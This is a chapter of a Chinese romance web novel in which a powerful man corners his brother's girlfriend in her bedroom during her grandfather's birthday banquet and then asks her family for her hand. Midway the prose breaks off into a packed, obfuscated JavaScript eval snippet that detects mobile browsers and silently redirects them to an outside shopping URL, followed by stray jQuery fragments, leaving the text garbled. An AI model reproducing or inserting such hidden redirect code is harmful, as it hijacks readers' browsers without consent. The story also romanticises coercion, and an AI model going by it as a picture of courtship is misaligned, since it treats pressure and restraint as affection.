黎清昭再次见到蔺承则是在黎老爷子的生日宴上。
在此之前,她和蔺承则这个老混蛋一直保持着一种相对安全的距离,她没再像上次那样厚颜无耻地挡住她的出路、逼她和蔺逸远分手。
这种重新回到安全区域的感觉让黎清昭有些沾沾自喜。她甚至以为,蔺承则及时止步是因为她上次的策略奏效了。
今年是黎老爷子八十八岁大寿,老爷子虽然上了年龄,早就撒手不管集团的事,但依旧精神矍铄。
虽然今天是他的生日宴,黎家的小辈都忙来忙去,但老爷子依旧云淡风轻地穿着一身白色的太极服,坚持在院子里练完他那一套太极拳。
而黎清昭则穿了一身豆沙粉的旗袍,旗袍上右侧刺着山茶花的刺绣。她脚上穿了双银色的高跟鞋,鞋头点缀了一对蝴蝶结,整个人看上去既闻文雅又俏皮,和她以往的形象不同,颇有几分大家闺秀的淑女姿态。
黎清昭闲着无聊,逗弄黎老爷子养的那两只会学舌的鹦鹉。
黎老爷子看着自己的孙女,忍不住提醒,“你别捉弄兴哥儿和旺哥儿。”
黎清昭皱了皱鼻子,不满意地转身,想反驳说自己哪有啊。结果一回头,就看到蔺承则缓步走了过来。
他静静地看了她一眼,视线落在黎老爷子身上,向老爷子问好。
两人还算是有话题,黎家最近正在和蔺家合作开发一个项目,由黎执渊牵头,蔺承则入股。
黎清昭听不懂这些生意上的话,又不愿意和蔺承则共处同一处空间,便扭身就走,连声招呼都不打。
“这丫头,都是我和她爸爸惯,没大没小,没有礼貌。”黎老爷子说。
“无妨,清昭年纪还小。”蔺承则勾了勾唇,将视线从那一道倩影上收回来。
黎清昭回到自己的房间,才觉得呼吸更通常了一些。她轻叹一口气,没想到自己居然怂包到这个份上,见到那个坏男人就浑身涌上一股寒意。
和他同处一个空间,她连呼吸都困难。
可今天这种场合,他身为家里的长子,势必是要代表蔺家来给黎老爷子庆生的。不像蔺逸远这个书呆子,嘴上说着要重新追求她,结果前两天又去慕尼黑出差了,她爷爷生日这种重要的场合都出席不了,连个表现的机会都没有。
黎清昭把仙女抱在怀里,看着小布偶蓝宝石般的眼睛,嘟着嘴肆意地亲来亲去,“好烦啊,仙女。”
黎清昭真想躺在床上打个滚发泄一些看到蔺承则引来的糟糕情绪,又突然想起自己今天没这身穿搭,只好哀叹一声,继续亲猫。
突然,敲门声响起。
黎清昭还以为是家里的阿姨,抱着布偶猫就去开门。
门一开,一道高大的阴影就覆了下来。
是蔺承则。
黎清昭眼疾手快,按着门把手就要把门关上。可她力气太小,怎么敌得过他一个强壮的男人。
蔺承则轻飘飘、毫不费力地卡住门,低眸看着她。
黎清昭一脸气急败坏的表情,她恨不得像踩死一个蚂蚁那样夹死他,“你要干什么?”
蔺承则:“躲我?”
“我没有。”她扬了扬下巴,“我凭什么要躲你?你以为我怕你。”
蔺承则无奈地笑了,她浑身上下就这张嘴巴最硬,从不吃口头亏。
“不怕我,那怎么不让我进来?”他明知故问。
黎清昭匪夷所思地看着他,“你可别不要脸了,这是我家,我的房间。我想让谁进,就让谁进。我不想让谁进,谁就进不来。”
她边说着边用力推门,还使坏用高跟鞋去踩他的皮鞋。
“清昭,那我们就这样僵持着?”蔺承则即使被踩也依旧面不改色,“还是说,其实你很享受这种和我偷情的感觉。”
不要脸!不要脸!不要脸!
黎清昭像只炸毛的小猫,被他一刺激就急眼,“你血口喷人!谁在和你偷情?明明是你在逼我。你信不信我现在就喊人,楼下宾客这么多,来的都是政商界有头有脸的人物,我要让他们都看看你是多不要脸。”
说完,黎清昭就抻着脖子要喊救命。
蔺承则立刻抬手捂住她的嘴巴,也不知道是不是他的错觉,他感觉她的舌尖在他的掌心抵了一下。
湿湿的,热热的,软软的。
很舒服。
蔺承则眉心直跳,他当然知道她不是故意的,她对他是一点喜欢的感情都没有。
但他还是不可抑制地产生了反应。
在黑色的西裤之下。
很想把她按在床上狠狠收拾一番,磨一磨她的戾气。
可他又舍不得。
但他舍不得伤害她,不代表她舍不得咬他。
黎清昭才不是挨欺负的性格,她双手攥住他的胳膊,张嘴就在他的虎口处狠狠地咬下一口,挑着眼睛看他,丝毫没有松开的意思。
男人吃疼,眉头皱了起来,镜片之后的双眼更加薄凉。
黎清昭才不在意他疼不疼,她只会心想他可真活该,越想越兴奋,于是嘴巴上的力道却越来越大。
“清昭,你是在逼我亲你?”他问。
黎清昭立刻嫌弃地松开了嘴巴,用手背使劲儿擦了擦嘴唇,仿佛碰到了什么脏东西。
蔺承则抬手,只见他虎口处留下一排牙印,还有模糊的口红印。
“属狗的?”他把手抬到她眼前。
她也不横了,又蔫巴巴的,像霜打的茄子一样,“你要是敢…敢再亲我,我就叫!我就说你强/奸我!”
蔺承则毫不在意地看着她,“你可以喊,我不介意背负这种骂名。”
厚颜无耻的男人!
她眨了眨眼,小脸通红地看着她。
果不其然,她只是架势闹得够大,其实胆子小得不行。
她比谁都清楚,如果这件事曝光,她才会陷入舆论的正中心。别人才不会管是蔺承则一直在逼她、强迫她、欺负她,别人只会说是她不要脸,同时勾引哥哥和弟弟。
她像是泄气一般,眼里的恨意更浓,死死地盯着他。
突然楼梯上传来脚步声和模糊的交谈声,她立刻心惊胆战,只觉得进退维谷。
蔺承则看透她眼底的恐惧,攥住她的手腕,轻轻一提,她人就被他带进了卧室里,他随手将门关上。
黎清昭死死地咬住自己的唇,继续用自己仅有的筹码威胁他,“等今天宴会结束,我就会把这些事都告诉爷爷和哥哥。”
言外之意,他再也别想威胁她。
蔺承则看着她可怜兮兮的模样,想抬手摸一摸她的脸蛋,被她一手给拍开。
蔺承则强势地攥住她的手腕,把她拉回来,困在自己和门的方寸之间,抬手捻了捻她的耳垂,商量着说:“清昭,和我试一试好不好?”
男人滚烫的呼吸打在头顶,黎清昭只觉得心寒,她眼圈瞬间就红了,“不好不好不好!我又不喜欢你,我喜欢的人是蔺逸远,你的亲弟弟!”
蔺承则深吸了一口气,“你确定要现在和我提他?”
“蔺逸远!蔺逸远!蔺逸远!”他不爱听,她偏要提,气死他这个老混蛋才好。
蔺承则抬手捏住她的下巴,她逃脱不得,才察觉到自己所处的危机感,人立刻闭上嘴巴,一言不发,只用倔强的双眼盯着他。
蔺承则真的想亲她,像上次在医院那样,肆无忌惮地亲她。
可他不能这样做。
她已经够讨厌他的了。
他只是点了点她的鼻子,宽容地和她说:“也就只有你敢这么气我。”
“想什么呢?心里在想气死我才好是不是?”他仿佛将她看透。
卧室露台的门开着,一阵风袭来,吹得她打了个寒颤。她呼吸之间就能闻到他身上那股凛冽的雪松味,她觉得这种味道已经浸透在她的卧室中了。
这是很可怕的事了。
她忽然想到,蔺逸远还没进过她的闺房呢。
又有些委屈。
她一声不哼。
他也一言不发。
他们依旧在僵持着,她的后背绷得紧紧的,手脚不敢乱动。而他则是贪婪地享受短暂的拥有她的时光,即使不碰她。
不知道过了多久,也不知在什么时候,她的眼睛中已经蒙上了一层水雾。眨眼之间,豆大的珍珠砸下,一滴一滴落在了他的衣襟上和皮鞋上。
他温柔地要帮她擦眼泪,她偏过头躲开,吸了吸鼻子,“你能不能放开我啊,我腿抽筋了。”
蔺承则松开她,往后退了一步。
他还在思索要不要把她抱到沙发上,替她揉一揉,却见她已经小心翼翼地蹲下身揉了揉脚腕,然后趁他不注意,转身拉开门就溜了。
溜之前还不忘记报仇,狠狠地推了他一下,就差扇他一巴掌了。
蔺承则看着已经被关上的门,勾唇轻笑了笑,他就不该轻易相信她,她从小就是个鬼机灵,服软也是假服软。
-
黎清昭从虎口逃生之后,再也没一个人落单过,她心神不宁地围在陈玖身边,带着黎思逾一起玩儿。
“小姑姑,你是和逸远叔叔分手了吗?”
黎思逾是个小聪明,自从上次黎清昭过敏之后,她就再也没管蔺逸远叫过“小姑父”。
“是你妈妈让你问的吧。”黎清昭看向陈玖。
陈玖耸了耸肩,连忙撇清关系,“可不是我要八卦,是你哥关心你。他放心不下你,又碍着面子不好意思直接问你,只好让你侄女问你喽。”
黎清昭给黎思逾擦了擦嘴巴上的糕点渣子,轻叹一口气,“我也不知道,看他表现吧。”
“怎么?有心事?”
黎清昭想起刚刚在蔺承则那受到的委屈,扁了扁嘴巴,把头靠在陈玖的肩膀上,不说话。
“是不是这两天又和小妈吵架了?”陈玖问。
因为黎老爷子的生日,黎清昭提前两天就回了黎家老宅住下。陈玖知道她和蒋辞不对付,还以为是两人明里暗里又吵架着。
“没有。你见我什么时候把她放在心上过?就算是吵架,你见我输过吗?”黎清昭对这件事还是蛮得意的。
这个家只有她可以治蒋辞。
不过这两年她长大了,不像以前那样爱和蒋辞找茬儿了。
“嗯,你最厉害。”陈玖夸她。
要是平时,黎大小姐听到这些夸奖的话,指定得顺着台阶往上爬,吹捧自己一番。可今天,她是真没这个心思,一直在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126449|196095||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
组织措辞,就等宴会结束,把蔺承则和她的事全盘托出。
她相信,按照爷爷、爸爸和哥哥对她的宠爱程度,一定会给她撑腰的。
黎老爷子八十八岁大寿办得很热闹,从上午就零零星星有人来,一直到晚上,华灯初上,人才散去。
在此期间,黎清昭一直暗戳戳地观察蔺承则的动向,想让他赶紧滚蛋。
但令她失望的是,他居然一直呆到了最后。
黎清昭一直有种不祥的预感,但又说不出来到底是什么感觉。
直到人完全散去,家里只剩下黎家人和蔺承则,他才找到黎老爷子和黎乾岳。
“承则,还有什么事吗?”黎乾岳开口。
其实蔺逸远之前说的没错,他们两兄弟,黎乾岳的确更欣赏蔺承则一些。这也是第一次,黎清昭清晰地感觉到,自己亲爹对蔺承则和蔺逸远的说话语气的不同。
蔺承则从沙发上站起来,站到黎老爷子的面前,看了眼黎清昭,缓缓开口,“其实承则今天来确实是有其他的事要和黎叔和爷爷商量。”
“但说无妨。”
蔺承则又看了眼黎清昭,“我今天来是想商量一下黎家和蔺家的婚事。”
黎乾岳觉得蔺逸远和黎清昭年龄都太小,还没到谈婚论嫁的年纪。而且,蔺逸远今年才刚进公司开始带项目,可以说是羽翼未丰。
虽然两个孩子有婚约在身,这两年感情也还算不错,但他这个当爹并不觉得这是女儿嫁人的好时机。
怎么也得再等两年,至少要让蔺逸远在集团站稳脚跟。否则按照蔺家的复杂局势,他不觉得蔺逸远能护黎清昭周全。
说实在的,还是当爹的担心自己的宝贝女儿受委屈。
“逸远和清昭的年龄还小。”黎乾岳说,“况且,这事真要谈,也得我和你父亲坐在一起商量。”
言外之意,蔺承则这个小辈虽然位高权重,但贸然越过他父亲来帮弟弟谈论婚事终究是不妥当。
儿女婚事,毕竟是事关两个家族利益的大事。
蔺承则赞同地点了点头,“我父亲这阵子身体不太好,否则今天一定亲自来参加爷爷的寿宴。”
黎老爷子摆了摆手,他倒是不在意这些细枝末节的事,不过都是面子工程罢了。
但他倒是很认同黎乾岳刚刚的话,“两个孩子确实是太小了,尤其是清昭,明年才毕业。这事就等清昭毕业后再谈吧。”
黎清昭一听到要谈论她的婚事,早就无法冷静了。她虽然不清楚蔺承则葫芦里卖的什么药,但他肯定憋了一肚子坏水。
她才不相信他是好心地帮蔺逸远来提亲的呢。
不过,既然他给她吹了这个东风,她确实可以借着这个由头先和蔺逸远订婚。
毕竟订婚之后,蔺承则就不会再对她痴心妄想了。
而且,黎清昭这盘算盘打得很清楚,订婚又不是结婚。万一以后不合适,还能退亲,她和蔺逸远还能一拍两散。
黎清昭坐在黎老爷子身边,挽住老爷子的胳膊,“爷爷,其实我也不小了,我和逸远是真心喜欢的。”
“你这孩子。”
黎清昭挽着黎老爷子的手撒娇,“我觉得大哥说的也有道理。而且我和逸远是真心相爱的,反正我非他不嫁。”
蔺承则的眸色骤然暗下来,他微眯了眯眼,眸中散发出危险的信号。
可黎清昭偏偏还没察觉,她现在一心想要借着这个由头把自己和蔺逸远死死地捆绑在一起,以此来挣脱蔺承则对她的束缚。
她就不信,他还能厚颜无耻到抢了弟弟的未婚妻?
黎老爷子问黎清昭不是又和蔺逸远吵架了吗。
他还不知道上次蔺逸远害的黎清昭花生过敏的事。黎清昭不让说。
“肯定又是大哥告的状。”黎清昭轻哼一声,“那现在谁家情侣在一起不吵架?您年轻的时候可没少跟奶奶吵。”
黎老爷子用拐杖在她的小腿上轻打了一下,惯着她说:“没大没小。”
“反正就这样说定了……”
黎清昭话还没说完,就被蔺承则强势地打断了。
他早就听腻了她口中那些关于蔺逸远的情话,也看透了她内心那些小九九。
她想轻而易举摆脱他,怎么可能?
“说到这儿,爷爷,我得替逸远给清昭道个歉。上次清昭来家里吃饭,逸远害得她花生过敏,这件事确实是逸远的疏忽。”
黎清昭瞪着眼睛看向他,这个坏东西,怎么还告状呢?
“还有这回事?你这孩子,怎么不说?”黎乾岳本就对蔺逸远有意见,听见自己的宝贝女儿差点儿丢了小命,脸上已经染上了愠色。
“这就是个意外。”黎清昭小声说。
“反正我不管,我就是要和逸远在一起。”她索性直接耍赖皮。
“这事以后再说。”黎乾岳厉声喝斥她,抬眸看向蔺承则,“承则,两个孩子还小,我的意见是这门亲事过两年再谈也不迟。如果这是蔺兄的想法,我改天亲自和他谈。”
蔺承则扶了扶镜框,缓缓开口:“爷爷,黎叔,蒋姨,我想你们是误会了。实不相瞒,我说的婚事是指我和清昭的婚事。”
“我是来向清昭提亲的。”